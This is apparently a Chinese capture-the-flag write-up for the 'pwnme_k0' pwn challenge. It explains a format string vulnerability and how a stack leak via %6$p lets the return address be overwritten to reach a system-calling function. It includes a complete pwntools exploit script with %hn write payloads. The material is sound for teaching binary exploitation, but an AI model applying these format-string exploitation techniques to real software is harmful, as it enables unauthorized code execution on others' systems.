三个白帽 - pwnme_k0
ctf wiki
题目:三个白帽 - pwnme_k0
检查代码保护:
可以看出程序主要开启了 NX 保护以及 Full RELRO 保护。这我们就没有办法修改程序的 got 表了。
运行代码:
猜想代码逻辑,和可能的漏洞。
发现存在有格式化漏洞,而且有两个点。用户名和密码, 用IDA直接分析这部分
IDA分析:
通过覆盖ret地址来执行shellcode, 首先远程服务器默认开启ALRS ,可以先泄露sub_400b07 ret 地址 , 然后再将其覆盖
同时发现了 callsystem函数
动态调试:
将断点打到显示密码观察栈区。栈顶指向的指针为调用函数的栈底,第二个为返回地址,如果我们控制到返回地址,就控制了程序的运行。再从IDA可知,打印的str也是已调用函数的栈底为准。所有我们需要泄露调用函数的栈底,使用格式化参数 %6$p (六个参数放入寄存器)。泄露以后算ret与栈底的偏移(0xf20-0xee8),覆盖地址,任务完成。
EXP:
from pwn import *
context.log_level="debug"
context.arch="amd64"sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
sh.writeline("%2218d%8$hn")sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()
题做出来了 ,按道理这道题应该是完了 ,前面说了这里有两个点 ,username 和passwd ,说如果只用一个能不能做出这道题呢(假设username是没有漏洞的)。
思路还是一样通过覆盖ret地址达到我们的效果。
开始分析:
- 如上我们有了ret_addr ,
- 找到passwd的地址
同样的断点,我们寄存器中找到passwd的栈地址,0x7fffffffdf04 ,与栈底df20 的偏移为0x1c,为了对齐八字节多输入4字节。
同样与IDA相符, - payload = flat( [ “A”*4,ret_addr, %2202d%11$hn] )
,,,,,,,炸了 调到2点发现忽略对字符串长度的检验 , 该方法不可行。。。。
三个白帽 - pwnme_k0相关推荐
- 三个白帽挑战之我是李雷雷我在寻找韩梅梅系列3——writeup
Melody有奥妙 · 2016/05/16 17:13 进入,发现index.php既可登录也可注册,随便试了一下admin/admin还真能登录,后来证实其他人注册的.. user.php可以修改 ...
- c语言格式化字符漏洞,格式化字符串漏洞题目练习
整合一下最近做的格式化字符串题目的练习,把wp给写一下,方便对总结对这个漏洞的利用套路和技巧. inndy_echo 保护和arch [*] '/media/psf/mypwn2/buuctf/inn ...
- 格式化字符串漏洞利用
学习资料: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/fmtstr/fmtstr_exploit/ ht ...
- 【转】浅谈php://filter的妙用
php://filter是PHP中独有的协议,利用这个协议可以创造很多"妙用",本文说几个有意思的点,剩下的大家自己下去体会. XXE中的使用 php://filter之前最常出镜 ...
- 白杨SEO:从5118站长工具备案内参发现百度SEO批量建站优化玩法
前言:这是公众号白杨SEO原创第358篇.为什么想到写这个?本来想写一个SEO工具的,但在用5118备案查询时,发现了一个SEO批量建站站群玩法.它的相关关键词排名还不错,特意拆解分享出来,供参考学习 ...
- 微软公司招聘智力题目
微软公司招聘智力题目 很有意思大家可以试试!微软公司招聘智力题目 1.某手机厂家由于设计失误,有可能造成电池寿命比原来设计的寿命短一半(不是冲放电时 间),解决方案就是免费更换电池或给50元购买该厂家 ...
- 逻辑学导论第11版练习题
题目 在某监狱中有三个囚犯,第一个囚犯视力正常,第二个囚犯只有一只眼,第三个囚犯是个完全的盲人.监狱看守对三个囚犯说,现有三顶白帽子和二顶红帽子,他将选择其中的三顶戴在他们头上.没有人可以看见他自己所 ...
- 数学文化赏析MOOC笔记【2023】
主讲人:张文俊(深圳大学) 参考教材:<数学文化赏析> 目录 01 数学之魂 一.数学的对象与内容 二.数学的思想与方法 三.数学的特点与地位 02 数学之功 一.数学的功能 二.数学的 ...
- 两顶白帽子和一顶红帽子_自我发展:我如何不戴两顶帽子并找到第三顶帽子
两顶白帽子和一顶红帽子 Hi all! I lead antispam team and several machine learning teams at Mail.ru Group. The su ...
最新文章
- LVS集群---做前端调度器搭建使用
- Tomcat学习笔记(一)
- Matlab 遗传算法gaot、gatbx工具箱安装(出现未找到 ‘initializega‘、‘crtbp‘等错误)
- 1、mac:jdk 8下载和安装步骤
- 经济学入门书籍选择参考(业余爱好者)
- 百度wz开户竞价推广如何做到降低平均点击价格
- 冲刺大厂每日算法面试题,动态规划21天——第十四天
- Scrapy教程经典实战【新概念英语】
- 论文参考文献生成代码(2021.2.25)
- 2019-2020中国互联网趋势报告
- 极智AI | 全场景算力产品矩阵 看算能系列AI产品
- 修改Recovery中的文字提示(二)
- 单片机之FPGA选修部分基础了解
- CSDN:0分下载的技术资料的地址列表(带链接)方便大家下载啦!第六期
- 什么是SOA(service-oriented architecture)?
- 把一个页面进行四等分
- 微型计算机控制系统设计方法,第3章 机电一体化中微型计算机控制系统及接口设计...
- 欢迎更多的需要毕设和接毕设的加入! Android/Java毕业设计——唯一QQ群:639813324
- 2019最近计算机毕业设计-题目汇总大全-系列5
- 重试机制 Retry